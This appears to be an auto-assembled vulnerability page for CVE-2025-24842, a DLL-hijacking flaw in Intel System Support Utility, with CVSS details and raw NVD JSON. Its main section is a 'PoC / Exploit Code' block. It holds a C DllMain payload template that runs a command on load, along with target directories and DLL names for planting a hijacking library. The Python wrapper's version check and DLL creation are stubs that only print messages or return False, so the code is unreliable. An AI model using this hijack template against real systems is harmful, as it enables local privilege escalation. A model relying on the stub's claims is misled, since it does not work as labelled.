Security Vulnerability Report
中文
CVE-2025-24842 CVSS 6.7 MEDIUM

CVE-2025-24842

Published: 2025-11-11 17:15:43
Last Modified: 2026-04-15 00:35:42

Description

Uncontrolled search path for the Intel(R) System Support Utility before version 4.1.0 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with a privileged user combined with a high complexity attack may enable local code execution. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Intel System Support Utility < 4.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-24842 PoC - DLL Hijacking for Intel System Support Utility # This PoC demonstrates the uncontrolled search path vulnerability import os import sys import ctypes from ctypes import wintypes # Malicious DLL that will be loaded by vulnerable application MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a log file to demonstrate code execution FILE *fp = fopen("C:\\\\Temp\\\\cve_2025_24842_exploit.log", "a"); if (fp != NULL) { fprintf(fp, "[+] CVE-2025-24842 DLL loaded successfully at %s\\n", __TIMESTAMP__); fprintf(fp, "[+] Malicious code executed with elevated privileges\\n"); fclose(fp); } // Execute malicious payload here // Example: system("calc.exe"); system("calc.exe"); } return TRUE; } ''' def create_malicious_dll(dll_path): """Create a malicious DLL for exploitation""" # Note: In real attack, this would be compiled DLL # This is for demonstration purposes only print(f"[*] Malicious DLL would be created at: {dll_path}") print("[*] In real scenario, compile the DLL with the code above") return True def check_vulnerable_version(): """Check if Intel System Support Utility version is vulnerable""" # Registry path for Intel System Support Utility reg_paths = [ r"SOFTWARE\Intel\Intel(System Support Utility|SSU)", r"SOFTWARE\WOW6432Node\Intel\Intel(System Support Utility|SSU)" ] print("[*] Checking for vulnerable Intel System Support Utility installation...") print("[*] Vulnerable versions: < 4.1.0") return False def main(): print("=" * 60) print("CVE-2025-24842 PoC - Intel System Support Utility DLL Hijacking") print("=" * 60) # Target directories where malicious DLL can be placed target_dirs = [ os.path.expanduser("~\\Downloads"), os.path.expanduser("~\\Documents"), "C:\\\\Temp", "C:\\\\Program Files\\\\Intel\\\\System Support Utility" ] # Common DLL names that might be hijacked dll_names = [ "intel_cpml.dll", "intel_ipmctl.dll", "msvcp140.dll", "vcruntime140.dll" ] print("\n[*] Target directories for DLL placement:") for directory in target_dirs: print(f" - {directory}") print("\n[*] Target DLLs for hijacking:") for dll in dll_names: print(f" - {dll}") print("\n[!] This is a educational PoC for security research") print("[!] Do not use for malicious purposes") return 0 if __name__ == "__main__": sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-24842", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:43.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for the Intel(R) System Support Utility before version 4.1.0 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with a privileged user combined with a high complexity attack may enable local code execution. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01360.html", "source": "[email protected]"}]}}